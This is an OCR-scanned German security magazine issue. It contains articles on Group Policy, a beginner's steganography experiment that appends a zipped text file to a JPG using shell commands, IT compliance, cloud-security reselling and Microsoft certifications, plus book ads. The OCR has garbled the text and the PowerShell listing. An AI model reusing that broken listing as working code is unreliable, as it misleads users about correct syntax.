Lange Links werden fiir eine bessere Ubersicht mit www.bit.ly gekiirzt.

Zusitzliche Quellen

Eric Tierling: Windows Server 2008. Einrichtung, Verwaltung, Referenz. Miinchen: Addison-Wesley Verlag, 2009
Ulrich Schliter: Integrationshandbuch Microsoft Netzwerk. 3. akt. und erw. Aufl. Bonn: Galileo Press

11 http://bit.ly/pV2J16 - ,Active Directory: Das Planungshandbuch”
2] http://support.microsoft.com/kb/304718 - Ubersicht: Administration Toolkits
3]  http://support.microsoft.com/kb/958830 - Ubersicht: Administration Toolkits

oder andere Objekte werden hier allerdings die GPOs
in den einzelnen OUs gezeigt.

Im Kontextmenu eines Richtlinienobjekts stehen weitere
Funktionen wie die Sicherung so wie Wiederherstellung,
der Status als auch ein Richtlinienbericht zur Verfigung.

Bei Problemen mit Gruppenrichtlinien hilft meist ein
solcher Gruppenrichtlinienbericht vom Client. Dieser
wird Uber das ,Richtlinienbericht” Snap-In oder mit dem
Befehl gpresuit in der Kommandozeile erstellt. Weitere
Hinweise zur Problembehebung bieten die Protokolle
der Ereignisanzeige (ebenfalls auf den Clients) oder ein
kritischer Blick Uber die vielen Einstellungsmaoglichkei-
ten und Rechte der Gruppenrichtliniel¢l,

Gruppenrichtlinien - Einstellungen
Fast alle Einstellungen der Gruppenrichtlinien manipu-
lieren letzten Endes die Registry des Clients und wer-
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Abbildung 9. Einstellungen in der Gruppenrichtlinienverwaltung
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den dadurch wirksam. Mit der neuesten Servertechno-
logie (Windows Server 2008 R2) existieren weit Uber
3.000 Gruppenrichtlinieneinstellungen, die auf dem Cli-
ent Uber 11.000 Registrywerte manipulieren kénnen!'”,

Um eine bessere Struktur und logische Ubersicht zu
schaffen, sind die Einstellungen der GPOs in 2 Berei-
che aufgeteilt: Computerkonfigurationund Benutzers-
konfiguration. Das Verhalten dieser Einstellungen ist
leicht unterschiedlich: Computereinstellungen werden
beim Systemstart noch vor der Anmeldung des Benut-
zers angewendet. Benutzereinstellungen werden im
Gegensatz dazu erst nach der Anmeldung bernom-
men, wenn diesem Benutzer oder einer Gruppe, in der
dieser Benutzer Mitglied ist, Einstellungen Uber die Be-
nutzerkonfiguration zur Verfigung gestellt worden sind.

Dank dieser Gruppenrichtlinieneinstellungen lassen
sich viele Bereiche des Windowssystems, unabhan-
gig von der GroRRe des Netzwerks, homogen gestalten
und verwalten. Der Aufwand ist durch die einmalige
Konfiguration am Server minimal.

HANNES SCHURIG

Der Autor ist IT-Administrator in einem wissenschaftlichen In-
stitut mit den Schwerpunkten Netzwerk- und Serveradmini-
stration. Privat beschidiftigt er sich seit vielen Jahren mit Win-
dows Systemen, deren Administration und verschiedenen Be-
reichen der Webentwicklung und Webdesign.

Er ist Betreiber des privaten Blogs www.hannes-schurig.de, in
dem erregelmdiBig iiber diese Themen schreibt.

Privat: hannes.schurig@online.de

Blog: kontakt@hannes-schurig.de

8/2011


http://bit.ly/pV2J16
http://support.microsoft.com/kb/304718
http://support.microsoft.com/kb/958830
http://bit.ly/ilrfWd
http://bit.ly/oJLQic
http://bit.ly/e99OSg
http://bit.ly/nLWFGi
http://bit.ly/nZOmb2
http://bit.ly/ogyFqs
http://www.selfadsi.de/user-attributes-w2k3.htm
http://bit.ly/pPw7Sa
http://support.microsoft.com/kb/968929
http://support.microsoft.com/kb/968930
http://bit.ly/qox3zw
http://bit.ly/rnMX9D
http://bit.ly/aKf8fn
http://bit.ly/pY4hpb
http://www.bit.ly
http://www.hannes-schurig.de
mailto:schurig@online.de
mailto:kontakt@hannes-schurig.de

W& dounkteriag sicher ist sicher!?

e T F

Jon Erickson

Hacking

Hacki ng

mit Python

Fehlersuche, Programmar

Die Kunst des Exploits

isare (isseco

dpunktyerlag

ey . 2009, 224 Seiten
€ 33,00 (D)
2009, 518 Seiten ISBN 978-3-89864-633-8
€ 46,00 (D) 2011, 300 Seiten
ISBN 978-3-89864-536-2 € 39,90 (D)

ISBN 978-3-89864-726-7

AUS DEM P
TAGEBUCH
EINES

BUGHUNTER 5

“Buffer Overflows
tnd Format-String-

Schwachstellen Kl’yptograﬁe

-

en

Funktionsweisen, Exploits
und GegenmaBnahmen =

dpunkt.verlag ! _ ST dpunkt.erag
Ll A AV L e
2010, 238 Seiten
€ 33,90 (D) 2009, 862 Seiten
ISBN 978-3-89864-659-8 4.Auflage
€ 54,00 (D)
2004, 672 Seiten ISBN g78-3-89864-602-4

€ 54,00(D)
ISBN 978-3-89864-192-0

dpunkt.verlag GmbH - RingstraBe 19 B - D-69115 Heidelberg - fon: 0 62 21/14 83 40 - fax: 0 6221/14 83 99
e-mail: bestellung@dpunkt.de - www.dpunkt.de


http://www.dpunkt.de/

FUR ANFANGER

Steganografie fur Anfanger

Christian Imhorst

Steganografie kommt aus dem Griechischen und heif3t
“geheimes Schreiben”. Herodot berichtet, dass einem
Sklaven der Kopf geschoren wurde, um die Nachricht auf

seine Kopfhaut zu tatowieren.

IN DIESEM ARTIKEL ERFAHREN SIE...

- Etwas Uiber die Geschichte der Steganographie.
« Ein kleines Experiment fiihrt in das Thema ein.

WAS SIE VORHER WISSEN SOLLTEN...

- Wie man die PowerShell in Windows offnet.

« Alternativ wie man ein Terminal unter Linux oder MacOS X 6f-
fnet

Is das Haar wieder nachgewachsen war, wur-
A de er zum Empfanger der geheimen Nachricht
geschickt, der den Kopf des Sklaven wieder
rasierte, um sie lesen zu kénnen. Die Haare haben
also die eigentliche Nachricht verdeckt. Ahnlich funk-
tioniert Steganografie noch 2500 Jahre danach. Ste-
ganografie ist die Kunst, Information zu tarnen, um
sie verborgen zu Ubermitteln. |hr Zweck ist also, ge-
heime Information mithilfe anderer unverfanglicher
Information so zu verbergen, dass sie von einem un-
bedarften Beobachter, Mensch oder Maschine, nicht
erkannt wird. Eine geheime Nachricht wird dabei in
einer anderen Nachricht, zum Beispiel in einer Bild-
datei versteckt. Dem Empfanger muss nattrlich be-
kannt sein, dass das Bild eine geheime Nachricht
enthalt, so wie dem Empfanger in der Antike klar sein
musste, dass sich die Nachricht unter dem Haar des
Sklaven befand. Wenn das Originalbild fehlt, ist es
sehr schwierig herauszufinden, ob ein Bild eine Ge-
heimbotschaft versteckt. Die meisten Steganogram-
me werden enttarnt, wenn sie mit der Originaldatei
verglichen werden und sich daraus Abweichungen
ergeben. Wenn das Original geléscht und ein gutes
Bild mit vielen Unscharfen, hoher Pixelzahl und we-
nig Kanten gewahlt wurde, dann ist im Prinzip nicht
mehr festzustellen, ob eine Bilddatei ein Stegano-
gramm ist.
Man kann eine Textdatei auch ohne aufwendige
Software wie Steghide [1] oder Outguess [2] in einer

» HAKING

Bilddatei verstecken. Wobei diese Methode auf keinen
Fall sicher ist, da die Information nicht im Bild selbst
eingebettet und damit versteckt wird, sondern einfach
an die Datei angehangt wird. Mit einem einfachen Ar-
chivprogramm wie Unzip, Unrar oder 7-Zip [3] kann
die Information problemlos wieder ausgelesen wer-
den. Man kann aber auf diesem Weg zumindest Datei-
en vor den Augen eines durchschnittlichen Computer-
nutzers verstecken. Das Bild der Quell- und Zieldatei
wird aber zum Schluss des Experiments nur deshalb
genau gleich aussehen, weil das Ende der Datei, also
die komprimierte Textdatei, nicht mehr zu den Bildda-
ten gehort.

Das Experiment erfolgt einmal mit den Bordmitteln
von Unix, genau genommen mit der Kommandozeile
Bash, die es in vielen Linux-Distributionen und in Ma-
cOS X gibt. Auf der Seite von Windows findet das Ex-
periment in der PowerShell statt, die seit Windows 7
vorinstalliert ist und fur Vista und XP kostenfrei herun-
tergeladen werden kann. Fir das Experiment erstellt
man in der Konsole zuerst die Textdatei meeting.txt zu-
sammen mit der geheimen Nachricht. Egal, ob man die
Bash oder die PowerShell benutzt, tippt man folgendes
ein:

echo ,Dies ist der geheime Text“ > meeting.txt

Einer der vielen Vorteile der PowerShell gegentber
der alten Konsole cmd.exe ist zum Beispiel, dass man
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ein paar Befehle der Bash eins zu eins tbernehmen
kann, weil sie Aliase von Commandlets, also der ei-
gentlichen Befehle sind. Dabei ist der Befehl echo in
der Powershell ein Alias fur den eigentlichen Befehl
Write-Output. AnschlieRend wird die Datei als Zip-Da-
tei gepackt, was in der Bash mit dem Befehl zip kein
Problem ist:

zip meeting.txt.zip meeting.txt

In der PowerShell ist das etwas schwieriger. Am ein-
fachsten ist es vielleicht, die Text-Datei im Explorer
mit der rechten Maustaste anzuklicken und im Kon-
textmeni dann ,Senden an“ und ,ZIP-komprimierten
Ordner” auszuwahlen, oder eine Software wie 7-Zip
zu verwenden. Ganz hartgesottene kdnnen auch das
folgende Skript nehmen, den Text in einen Editor wie
Notepad einfigen und als Datei zip.ps7 abspeichern
(Listing 1.).

Das Skript wird dann innerhalb der PowerShell aus-
gefihrt:

.\zip.psl meeting.txt meeting.txt.zip

Der Unix-Befehl cat wird dazu genutzt, um zwei Da-
teien miteinander zu verketten. In diesem Fall sind
es die Dateien Pingu.jpg und meeting.txt.zip, die mit
dem Groler-als-Zeichen (>) in die neue Datei sec-
ret.jpg umgeleitet werden; eine Bilddatei, an der dann
die ,geheime* Botschaft angehangt ist.

cat Pingu.jpg meeting.txt.zip > secret.jpg
Listing 1. xxxxxxxx
#Parameter fiir das Skript
Param([string] $file, [string] $zipfile)
$CurPath = get-location
$filepath = -join ($CurPath, “\”, $file)

$zipfilepath = -join ($CurPath, “\”, $zipfile)

#Die Zip-Datei wird erstellt

\\\\\\\\\\\\\\\\\\\\

o —Q 7E & N0 N N0 o000 NN o0N N N0 NN N
$zipHeader=80,75,5,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

$fmode=[System.IO.FileMode]: :Create

Den Befehl cat gibt es als Alias auch auf der Pow-
erShell und steht hier wiederum fiir das Command-
let Get-Content, funktioniert allerdings nicht mit
dem GroRer-als-Zeichen. Hier muss man die Aus-
gabe von Get-Content nach Set-Content, die Kurz-
form ist sc, weiterleiten, damit die neue Datei er-
stellt wird:

cat -Encoding Byte ,Pingu.jpg"“,“meeting.txt.zip“ | sc

-Encoding Byte secret.jpg

Danach 16scht man die Original- und die Zip-Datei von
meeting.txt mit dem Befehl rm. Da rm auf der PowerS-
hell ein Alias von Remove-Item ist, funktioniert der Be-
fehl in beiden Shells.

rm mee*

Mit dem Befehl unzip kann man auf der Bash die Text-
datei jeder Zeit wieder aus dem Steganogramm extra-
hieren.

unzip secret.jpg
Archive: secret.jpg

extracting: meeting.txt

Den Befehl unzip gibt es auf der PowerShell leider ge-
nauso wenig, wie den Befehl zip. Da Windows in der
Datei secret.jpg unbedingt eine Bilddatei sehen will,
helfen auch Bordmittel wie die Bibliothek zipfidr.dll
nicht weiter, die unter Windows dafiir sorgt, dass man
sich ZIP-Archive im Explorer anschauen kann. Des-

SemptyZip=new-object -type System.IO.FileStream $zipfilepath, $fmode

SemptyZip.Write ($zipHeader,(,””)
SemptyZip.Flush ()
$emptyZip.Close ()

#Die Text-Datei wird in das Zip-Archiv kopiert
$shell=New-Object -ComObject Shell.Application
$zip=$shell.Namespace ($zipfilepath)
$zip.Copyhere ($filepath)

hakin9.org/de
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halb entpackt der folgende Befehl auch nicht die Zip-
Datei, sondern 6ffnet einfach nur das Bild:

rundl132.exe zipfldr.dll,RouteTheCall secret.jpg

Externe Archiv-Programme wie 7-Zip kann man aber
nicht tauschen. Der folgende Befehl in der PowerS-
hell entpackt die Datei meeting.txt aus der versteck-
ten Zip-Datei, vorausgesetzt natirlich, 7-Zip ist auch
installiert:

& ,Senv:ProgramFiles\7-Zip\7z.exe" e secret.jpg

Den Inhalt der geloschten und nun wieder entpack-
ten Datei meeting.txt kann man sich im letzten Schritt
mit dem Befehl cat anschauen, was wieder in beiden
Shells funktioniert.

cat meeting.txt

Dies ist der geheime Text

Man sieht also, dass dieses Steganogramm sehr

leicht auszulesen ist. Wenn man die Grolke der bei-

den Dateien in der Konsole vergleicht, sieht man

auch, dass secret.jpg 180 Byte grofder ist, als das

Originalbild:

-rw-r--r-- 1 christian christian 26 2011-06-26 11:00
meeting.txt

-rw-r--r-- 1 christian christian 37244 2011-05-13 21:07
pingu.jpg

-rw-r--r--— 1 christian christian 37424 2011-06-26 11:00
secret.jpg

Dadurch wird sofort klar, dass secret.jpg etwas verber-
gen konnte und das Steganogramm ist leicht enttarnt.
Diese Methode ist also — wie bereits gesagt — nicht
sehr sicher.

Das Ergebnis ist dieses Bild: secret.jpg

Allerdings wird durch dieses Experiment auch ein
weiterer Nachteil der Steganografie klar: Sie ist
symmetrisch. Das heildt, Sender und Empfénger
mussen sich gegenseitig dartber informieren, dass
ein Steganogramm unterwegs ist und, sollte es ver-
schlisselt sein, mit welcher Passphrase es ver-

Im Internet

[1] http://steghide.sourceforge.net/

[2] http://www.outguess.org/

[3]1 http://www.7-zip.de/

[4] http://www.pgp.de/

[5] http://www.gnupg.org/index.de.html|
[6] http://www.datenteiler.de
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schlisselt wurde. Diese Form der Verschlisselung
ist anfallig fir Angriffe, die versuchen, den Code
zu knacken. So kann sich beim Man-in-the-midd-
le-attack jemand zwischen Sender und Empfan-
ger schalten und die Passphrase und das Stegano-
gramm mitschneiden.

Um diese Sicherheitsliicke zu umgehen, wird Ste-
ganografie meist zusammen mit der asymmetrischen
Verschlisselung benutzt. Mit einem Programm wie
PGP [4] oder GnuPG [5] wird ein Schlusselpaar er-
stellt. Dabei ist der erste Schlissel ein geheimer und
der zweite ein offentlicher Schlissel. Der 6ffentliche
Schlissel kann moglichst weit verteilt werden, mei-
nen kann man zum Beispiel im Impressum meines
Weblogs [6] finden. Wenn mir jemand eine Nach-
richt schreibt, die mit meinem 6ffentlichen Schlussel
verschlusselt ist, kann nur ich sie mit meinem gehei-
men Schlissel entschlisseln. Wenn jemand nicht
wissen soll, dass ich mir mit einer weiteren Person
verschlliisselte Botschaften austausche, kann man
sie in einem Steganogramm verstecken. Das macht
vor allem in Landern Sinn, die Verschlisselung ver-
bieten. Sollte ein Steganogramm enttarnt werden,
dann hat der Angreifer zwar die verschlisselte Bot-
schaft, kann sie aber ohne den geheimen Schlussel
nicht lesen. Selbst wenn er den geheimen Schlissel
stehlen sollte, braucht er noch die Passphrase, um
die Botschaft entschlisseln zu kénnen. Steganogra-
fie kombiniert mit asymmetrischer Verschlisselung
ist in der Regel nur dann sinnvoll, wenn geheime
Nachrichten zwischen Sender und Empfanger aus-
getauscht werden und niemand wissen soll, dass
es sich dabei um geheime Nachrichten handelt. Da-
fur sollte man dann aber professionelle Programme
verwenden.

This work is licensed under the Creative Commons Attribu-
tion-ShareAlike 2.0 Germany License. To view a copy of this
license, visit http://creativecommons.org/licenses/by-sa/2.0/
de/ or send a letter to Creative Commons, 444 Castro Street,
Suite 900, Mountain View, California, 94041, USA.

CHRISTIAN IMHORST

Christian Imhorst ist Blogger, ITler und Autor des Buchs ,Die
Anarchie der Hacker”. In seiner Freizeit beschdftigt er sich ne-
ben Gnu/Linux mit dem Microsoftschen .NET-Framework, ins-
besondere mit der Interoperabilitit zu anderen Betriebssyste-
men durch das Mono-Projekt.
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IT-Compliance ist ein Thema fiir die Entscheiderebene

IT-Compliance ist ein Thema
flir die Entscheiderebene

Dr. Dieter Steiner

Kaum ein Unternehmen ist heutzutage unabhangig

von der korrekten Funktion und Verfligbarkeit der IT.

Ein entscheidender Aspekt flir Unternehmen ist die IT-
Compliance, da die meisten Informationen elektronisch
flieBen — auch im Austausch mit internationalen Standorten,

Partnern und Kunden.

IN DIESEM ARTIKEL ERFAHREN SIE...
IT-Compliance ist ein Thema fiir die Geschaftsfihrung.

+ IT-Compliance betrifft jeden - alle Unternehmen missen die
gesetzlichen Vorgaben umsetzen und IT-Prozesse so gestal-
ten, dass sie diese Anforderungen einhalten.

+ Nur ein durchgéngiges Reporting (Logging, Monitoring, Konfi-
guration) ermdglicht Rechtskonformitat.

WAS SIE VORHER WISSEN SOLLTEN...

- Die umfassende Erfassung und Betrachtung der relevanten
IT-Systeme und IT-basierten Geschéaftsprozesse ist die Voraus-
setzung fir ein erfolgreiches IT-Compliance-Management.

« Nur ein aufeinander abgestimmtes Miteinander von Technik,
Organisation und Prozessen kann IT-Compliance sicherstellen.

relevanten IT-Systeme und IT-basierten Ge-
schaftsprozesse ist die Voraussetzung fur ein
erfolgreiches IT-Compliance-Management.

Grofle, Komplexitat und Risikostruktur eines Un-
ternehmens bestimmen die Anforderungen an die
IT-Compliance ebenso wie sich verandernde rechtli-
che Rahmenbedingungen. Nur ein aufeinander abge-
stimmtes Miteinander von Technik, Organisation und
Prozessen kann IT-Compliance sicherstellen. Dabei ist
es unerheblich, ob die IT-Leistungen unternehmensin-
tern oder durch externe IT-Dienstleister erbracht wer-
den.

Wichtig ist es den Unternehmen eine Mdglichkeit zu
geben, ihre Geschafte und Kundenbeziehungen Uber
verschiedene Standorte und Lander hinweg zu fuhren,
interne und externe Prozesse zu automatisieren und
IT-Sicherheit transparent und revisionssicher zu doku-
mentieren.

Der Gesetzgeber hat auf die zunehmende Digitali-
sierung der Geschaftswelt mit zahlreichen Rechtsnor-
men und Standards reagiert. Unternehmen missen die
gesetzlichen Vorgaben umsetzen und IT-Prozesse so
gestalten, dass sie diese Anforderungen einhalten. Ne-
ben dem Gesetzgeber sind es natirlich auch die Ge-
schéaftspartner, die einen lickenlosen Nachweis der IT-
Compliance erwarten. Dies kann nur Uber Logging und

D ie umfassende Erfassung und Betrachtung der

hakin9.org/de

sorgfaltige Dokumentation der relevanten Bereiche si-
chergestellt werden.

Basis fiir eine nachhaltige IT-Compliance ist ein re-
gelmaRiges Monitoring und die Messung der erreichten
Qualitat.

Um den IT-Compliance-Verantwortlichen bzw. der
Geschaftsfihrung die Moglichkeit zu geben, die IT-
Compliance im Unternehmen sicherzustellen und
nachzuweisen, sind Managementinformationssyste-
me wichtig. Dort laufen die Informationen in einer mog-
lichst einheitlichen und Ubersichtlichen Auswertungs-
software zusammen. Auffalligkeiten werden gemeldet,
klassifiziert, etwa nach Hohe des Risikos oder der Re-
aktionszeit und dann an die Verantwortlichen weiter-
geleitet.

Um Rechtskonformitat zu erreichen, ist es fur groRRe-
re Unternehmen wichtig, eine IT-unterstitzte Automa-
tisierung von Compliance-Prozessen und Kontrollme-
chanismen zu etablieren -> Reporting. Das Reporting
umfasst die Ergebnisse aus Logging, Monitoring und
Konfiguration.

Logging

Das Logging sorgt flr einen souveranen Umgang mit
personenbezogenen Daten sowie der E-Mail- und Web-
nutzung am Arbeitsplatz.Die Einhaltung rechtlicher und
vertraglicher Vorgaben (IT-Compliance) wird sorgfaltig

HarINg |,



TECHNIK

dokumentiert und ist somit fir den IT-Compliance Ma-
nager jederzeit kontrollierbar.

Log-Informationen werden von unterschiedlichen Si-
cherheitssystemen per Syslog oder in Form von Log-
Dateien bereitgestellt. Die Logging-Funktion der jeweili-
gen Managementsoftware verarbeitet diese Daten und
schreibt sie in aufbereiteter Form in mehrere Datenban-
ken, die sich in einer eigenen Arbeitsumgebung befin-
den sollten. Fur den Empfang der Log-Dateien reicht
es aus, den Bereitstellungsort — etwa ein Festplatten-
laufwerk, einen FTP-Server oder einen http-Zugang —
anzugeben. Weitere notwendige Angaben wie etwa die
Form der Authentisierung oder den gewulnschten Log-
Umfang werden automatisch beim Anwender abgefragt.
Eine integrierte Benutzer- und Standortverwaltung er-
maoglicht es zudem, beliebig viele Anwenderkonten mit
den unterschiedlichsten Rechten zu konfigurieren und
die relevanten Standorte eines Unternehmens zu ver-
walten.

Ohne das effiziente, zuverlassige und zentrale Er-
fassen der Log-Daten von IT-Systemen lassen sich
Compliance-Vorgaben nicht erfiillen. Vorschriften
wie Basel Il und lll, Sarbanes-OxleyAct (SOX) oder
der PCI DSS (Payment Card Industry Data Securi-
ty Standard) verlangen von Unternehmen und Orga-
nisationen, dass sie jederzeit lickenlos nachweisen
kénnen, was auf ihren Rechnern und in ihren Netz-
werken passiert. Damit sich Unbefugte keinen Zu-
gang zu den Log-Dateien verschaffen kdnnen, lassen
sich die Log-Nachrichten in so genannten Logstores
speichern. Diese kénnen verschlisselt und signiert
werden.

Monitoring

Das Monitoring gewéahrleistet die Uberwachung von
rechenzentrumsuibergreifenden Diensten. Hierzu
gehdéren Standortanbindungen oder Leistungsaus-
lastungen und lokale Nodes wie Server, Security
Devices oder Enduser-Clients. Auch Daten wie Ver-
fugbarkeit, Speicherkapazitaten und Auslastungen
von Geraten werden protokolliert. Weitere Funktio-
nen des Monitoring sind modulare Anbindung von
Geraten bzw. Locations, eine zentrale Datenspei-
cherung, visualisierte Statistiken sowie automati-
sche Benachrichtigungen zur Einhaltung von Eska-
lationsstufen.

Konfiguration
Im Bereich Konfiguration kénnen verschiedenste Sys-
tem- und Arbeitsprozesse automatisiert werden.

Hierzu gehdren u. a. automatische Firewall-Aufschal-
tungen, systemgestiitzte Konfigurationen von IT-Secu-
ritykomponenten, der Benutzerkontenabgleich unter-
schiedlichster Systeme sowie der Datenabgleich mit
anderen Softwarekomponenten.

» HAKING

Um den Anforderungen der IT-Compliance Genlge
zu tun, stehen einfache Bedienung durch Systemassis-
tenten und fehlerfreie Konfigurationen dank der system-
seitigen Prufung auf Korrektheit ebenfalls im Fokus.

Zusammenfassung:

* IT-Compliance ist kein Selbstzweck. lhre Ver-
nachlassigung kann zu einer personlichen Haf-
tung des Vorstandes oder des Geschéaftsfiihrers
fahren.

» Compliance-Themen gehdren auf die Entscheide-
rebene, die die Verantwortung fir die Einhaltung
und Umsetzung der Anforderungen haben.

» Compliance-Anforderungen sind ein Bestandteil ei-
ner Corporate Governance Strategie.

» Unternehmen bendtigen eine Richtlinie zum Um-
gang mit Informationen, eine Information Policy,
die die Compliance-Anforderungen und die Lo6-
sung zur Umsetzung der Anforderungen beinhal-
tet.

* IT-Compliance muss durchgangig im Unternehmen
implementiert werden, um wirksam zu sein.

» Die Erfullung von Compliance-Anforderungen ist
kein einmaliges Projekt, sondern ein kontinuierli-
cher Prozess.

« Die Erfullung von Compliance-Anforderungen
muss regelmafig nach definierten Verfahren Uber-
pruft werden.

* Information Management Compliance betrifft nicht
nur Software und Systeme, sondern auch die Pro-
zesse im Unternehmen, die Organisation und den
Umgang mit den Systemen.

+ Compliance-Anforderungen betreffen nicht nur
elektronische Archive, sondern alle Systemkompo-
nenten, in denen aufbewahrungspflichtige Daten,
Informationen und Dokumente erzeugt, genutzt
und verwaltet werden.

DR.DIETER STEINER
Dr. Dieter Steiner, Geschdiftsfiihrer SSP Euro-
pe GmbH
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Warum ein VAR Secure Online Services anbieten sollte

Warum ein VAR Secure Online Services

anbieten sollte
Thomas Haberl

Fur Value Added Reseller gibt es seit kurzer Zeit eine interessante
Maoglichkeit, das eigene Produkt- und Dienstleistungsportfolio und
entsprechende Umsatzpotential mit dem Topthema ,Cloud” relativ

aufwandslos zu erweitern.

IN DIESEM ARTIKEL ERFAHREN SIE...

+ GroBe Unternehmen und Direktanbieter drangen auf den Sys-
temhaus-Markt und verscharfen den Wettbewerb zusehends,
bzw. holen sich ein grof3es Stlick vom Umsatzkuchen im Bere-
ich Cloud Computing, der bisher den VARs zugestanden ist.

« Eine Alternative fir VARs bieten starke Partnerschaften mit
Anbietern von Secure Online Services, die diese aus zertifizier-
ten Rechenzentren zur Verfligung stellen.

- Eine starke Partnerschaft mit Cloudsecurity Anbietern, die ein
attraktives Partnermodell bieten und die heutigen IT-Com-
pliance Anspriiche erfillen, sichert zusatzlich Umsatzpoten-
tial, bietet Chancen fiir neue Kunden und garantiert langfristig
die Zukunft.

WAS SIE VORHER WISSEN SOLLTEN...
Laut Studien ist Cloud Computing der wichtigste Trend in der
IT.

« Der Hauptgrund ist der rechtliche Aspekt; sei es von staatli-
cher oder Business-Seite.

- Daneben werden die Anforderungen von Kundenseite immer
strenger und komplexer - Betrieb und Verfiigbarkeit 24 x 7;
SLAs,

Group wird sich der Umsatz mit Cloud Compu-

ting alleine in Deutschland von 1,1 Mrd. Euro in
2010 auf 8,2 Mrd. Euro in 2015 steigern; mit jahrlichen
Wachstumsraten zwischen 30% bis 65%!

Laut einer weiteren Studie der BitKkom aus dem Janu-
ar 2011 ist Cloud Computing der wichtigste Trend in der
IT; mit fast 60% Anteil der Nennungen.

Durch den Trend zu Cloud Computing sind vor kur-
zem Begriffe wie Managed Secure Services bzw. Ma-
naged Security Services (wieder starker) ins Bewusst-
sein von Anwenderunternehmen, Anbietern und den
Medien geruckt.

N ach Prognosen der BitKom und der Experton

Die Griinde dafiir sind vielfdltig:

Der Hauptgrund ist sicherlich der rechtliche Aspekt;
sei es von staatlicher oder Business-Seite. Themen
und Begriffe wie Haftung der Unternehmens- und IT-
Leitung, IT-Compliance, Rechtskonformes Reporting,
Dokumentation (Changes, Konfigurationen usw.), Zer-
tifizierungen (ISO 27001, ITIL usw.), Audits und Re-

hakin9.org/de

vision Dritter (z.B. Zulieferer groRer Konzerne), Da-
tenschutz, IT-Sicherheitsbeauftragter usw. stellen die
Marktteilnehmer fur hohe; oft vor zu hohe Herausfor-
derungen.

Daneben werden die Anforderungen von Kundensei-
te immer strenger und komplexer - Betrieb und Verflg-
barkeit 24 x 7; SLAs, etc.

Grofde Unternehmen und Direktanbieter drangen auf
den Systemhaus-Markt und verscharfen den Wettbe-
werb zusehends, bzw. holen sich ein groRes Stlick
vom Umsatzkuchen, der bisher den VARs zugestan-
den ist.

Diesen Trend bestatigen die Headlines einiger Mel-
dungen der letzten Monate:

* Symantec kauft Direktanbieter Messagelabs

» Cisco kauft Direktanbieter ScanSafe und launched
Mailsecurityservice mit IronPort

« Séamtliche Provider wie Dt. Telekom oder QSC wer-
den oder liefern schon Security Services zum S-
DSL

HarINg |



TECHNIK

» Hosted Security Anbieter mit Direktgeschéft treten
auf - z.B. Eleven, Antispameurope, Retarus, uam.

» Microsoft launched eigenen Hosted Exchange Ser-
vice inkl. IT-Security und verrechnet direkt

Zusatzlich werden die technologischen Anforderungen
des Marktes immer héher und die Produktzyklen im-
mer kirzer. Systemhauser missen deshalb ihren Ex-
pertenstatus bei einer Vielzahl von Herstellern um teu-
res Geld halten und ihre Mitarbeiter standig zertifizie-
ren lassen. Das ist aber im Endeffekt bei immer gerin-
geren Umsatzen in den Produktbereichen meist nicht
mehr profitabel.

Ein Ausweg aus dieser Misere fir VARSs bieten starke
Partnerschaften mit Anbietern von Secure Online Ser-
vices, die diese aus zertifizierten Rechenzentren zur
Verflgung stellen. Produkte von Weltmarktfiihrern ge-
hostet im Rechenzentrum erméglichen den Endkunden
Lésungen, die sich sonst nur groRe Konzerne leisten
kdnnen. Anbieter dieser Secure Services sollten Uber
ein spezielles Modell fir VARSs verfligen und selbstver-
sténdlich einen rein indirekten Marktzugang verfolgen.
Dadurch kdnnen sich VARs weiterhin erfolgreich gegen
die neue Konkurrenz positionieren und lhre Dienstleis-
tungen selbst verrechnen.

Die Vorteile dieses neuen
Modells liegen klar auf der Hand:
Attraktive Margen, stetige Abrechnung, hohe Qualitat
der angebotenen Services aus dem Rechenzentrum,
komplettes Portfolio, Projektschutz, zusatzliche Umsat-
ze zum bestehenden Business, finanzielle Entlastung
durch geringere Ausbildungskosten der Mitarbeiter, we-
niger Technologieverantwortung, Kundenschutz, etc.
Aus meiner Sicht haben die VARs nur mehr wenige
Optionen:
Sie kdnnen nichts oder wenig tun und versuchen das
aktuelle IT-Security Business mit allen Schwierigkeiten
und Risiken zu halten.

» HaRrIN9

Die Konsequenz daraus — sie werden bald nicht mehr
konkurrenzfahig sein und immer weniger Geschafte bei
hohen Kosten machen.

Alternativ kdbnnen sie massiv in Ausbildung ihrer Mit-
arbeiter (Zwang zum gesetzeskonformen Betrieb) und
zukunftstrachtige Spezialisierung in IT-Security Techno-
logie investieren.

Die Konsequenz ist auch keine langfristige Losung
bei finanziell hohem Risiko. Der harte Wettbewerb ge-
gen spezialisierte Direktanbieter und Provider wird
langfristig nicht zu gewinnen sein.

Sie kénnen aber auch die neue Geschaftschance er-
kennen. Eine starke Partnerschaft mit Cloudsecurity
Anbietern, die ein attraktives Partnermodell bieten und
die heutigen IT-Compliance Anspruche erfullen, sichert
zusatzlich Umsatzpotential, bietet Chancen fir neue
Kunden und garantiert langfristig die Zukunft.

Die Konsequenz aus diesem Zugang ist wenig Risi-
ko, langfristig Sicherung von bestehenden Kunden und
Gewinn neuer Kunden; denn dadurch bieten die VARs
nun die gleiche Leistungsqualitdt und den ahnlichen
Technologielevel wie ,die GroRen*.

Und was dadurch zusatzlich wieder in den Vorder-
grund riuckt sind die Wettbewerbsvorteile von lokalen
VARSs. Sie sind schneller, ndher am Kunden, und auf
Augenhohe mit dem Kunden; was vor allem im Mittel-
stand noch immer einer der USPs von VARs und Sys-
temhausern ist.

THOMAS HABERL

Thomas Haberl, Leitung Vertrieb SSP Europe
GmbH
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Willkommen im Weiterbildungsdschungel

Willkommen im Weiterbildungsdschungel
der Microsoft Zertifizierungen - ein kleiner
Exkurs zu MCTS, MCITP und MCPD

Gerade im [T-Bereich ist Weiterbildung ein grof3es Thema. Um den
eigenen Wert am Arbeitsmarkt zu halten oder zu steigern, bieten
sich unzahlige Ausbildungspfade an. Im Microsoft Umfeld sind

dies beispielsweise die Zertifizierungen zum Microsoft Certified
Technology Specialist (MCTS), zum Microsoft Certified IT Professional
(MCITP) oder zum Microsoft Certified Professional Developer (MCPD).

IN DIESEM ARTIKEL ERFAHREN SIE...

+ Kein spezielles Vorwissen

WAS SIE VORHER WISSEN SOLLTEN...

« Welche Zertifizierungen empfehlenswert sind

a) der jeweils eigene berufliche Hintergrund als

Anwender, Administrator oder Entwickler und b)
das jeweilige Ausbildungsziel, das der Weiterbildungs-
interessierte verfolgt.

Mit den MCTS, MCITP und MCPD Zertifizierungen
wurde ein einheitlicher Ausbildungsstandard geschaf-
fen, mit denen entsprechende Fertigkeiten in der je-
weiligen Technologie von Microsoft bescheinigt wer-
